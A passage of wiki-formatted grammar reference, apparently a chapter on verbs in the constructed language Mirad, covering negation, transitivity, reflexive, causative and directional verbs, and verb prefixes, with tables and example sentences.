::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
